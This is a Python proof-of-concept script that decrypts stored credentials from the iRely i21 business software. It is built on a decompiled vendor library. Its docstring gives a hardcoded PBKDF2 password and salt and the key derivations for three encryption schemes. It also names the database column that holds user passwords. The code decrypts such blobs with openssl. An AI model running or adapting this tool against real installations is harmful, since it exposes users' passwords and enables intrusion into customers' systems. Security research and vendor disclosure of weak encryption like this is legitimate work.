#!/usr/bin/env python3
"""
iRely i21 credential/blob decryptor — PoC
Sources: decompiled iRely.Common.dll (nuget pkg iRely.Common, class `Security`).

Scheme A  Security.Encrypt/Decrypt  (static IV — used for general secrets)
  AES-256-CBC, PKCS7. Key+IV = PBKDF2-HMAC-SHA1(password="MHCVNH57HR98UZNB",
  salt=b"Ivan Medvedev", 1000 iters), key=32B iv=16B. Plaintext UTF-16LE.
  Blob = Base64(ciphertext) only, IV derived (not prepended).

Scheme B  AESencryption.EncryptTextRandomIV  (random IV prepended)
  Key = SHA256(UTF8(passphrase)) where passphrase comes from SQL proc
  `uspSMLicenseKey` (per-install license key, NOT hardcoded).
  Blob = Base64( IV[16] || AES-256-CBC-PKCS7(UTF8 plaintext) ).

Scheme C  uspAESEncryptASym / uspAESDecryptASym  (done inside SQL Server)
  iRely.Common calls these T-SQL procs; encryption happens in-database
  (likely SQL Server symmetric-key / cert). Decrypt offline = need the DB
  master/symmetric key from the backup, not a .NET key.

NOTE on tblEMEntityCredential.strPassword: ~250-char base64 => ~186 bytes.
Scheme A on a short password gives 44-88 chars. 250 chars is more consistent
with Scheme B (16B IV + longer payload) or Scheme C. Try all three.
Usage: python3 i21_decrypt.py <base64blob> [schemeB_passphrase]
"""
import base64, hashlib, subprocess, sys, os, tempfile

def _aes(action, key_hex, iv_hex, data: bytes) -> bytes:
    with tempfile.NamedTemporaryFile(delete=False) as fi:
        fi.write(data); inp = fi.name
    outp = inp + ".out"
    cmd = ["openssl", "enc"]
    if action == "dec": cmd.append("-d")
    cmd += ["-aes-256-cbc", "-K", key_hex, "-iv", iv_hex, "-in", inp, "-out", outp]
    r = subprocess.run(cmd, capture_output=True, text=True)
    os.unlink(inp)
    if r.returncode != 0:
        if os.path.exists(outp): os.unlink(outp)
        raise RuntimeError("openssl: " + r.stderr.strip())
    with open(outp, "rb") as f: res = f.read()
    os.unlink(outp)
    return res

def decrypt_scheme_A(b64: str) -> str:
    keyiv = hashlib.pbkdf2_hmac("sha1", b"MHCVNH57HR98UZNB", b"Ivan Medvedev", 1000, dklen=48)
    key, iv = keyiv[:32].hex(), keyiv[32:48].hex()
    pt = _aes("dec", key, iv, base64.b64decode(b64))
    return pt.decode("utf-16-le", errors="replace")

def decrypt_scheme_B(b64: str, passphrase: str) -> str:
    raw = base64.b64decode(b64)
    iv, ct = raw[:16], raw[16:]
    key = hashlib.sha256(passphrase.encode("utf-8")).digest().hex()
    pt = _aes("dec", key, iv.hex(), ct)
    return pt.decode("utf-8", errors="replace")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(__doc__); sys.exit(1)
    blob = sys.argv[1].strip()
    print(f"[info] blob b64 len={len(blob)} -> ~{len(base64.b64decode(blob))} bytes raw")
    try:
        print("[Scheme A Security.Encrypt]  ->", repr(decrypt_scheme_A(blob)))
    except Exception as e:
        print("[Scheme A] FAILED:", e)
    if len(sys.argv) > 2:
        try:
            print("[Scheme B AESencryption]     ->", repr(decrypt_scheme_B(blob, sys.argv[2])))
        except Exception as e:
            print("[Scheme B] FAILED:", e)
    else:
        print("[Scheme B] skipped (needs passphrase from uspSMLicenseKey)")
    print("[Scheme C] must run in SQL Server: SELECT uspAESDecryptASym @encryptedText, @decryptedText output")
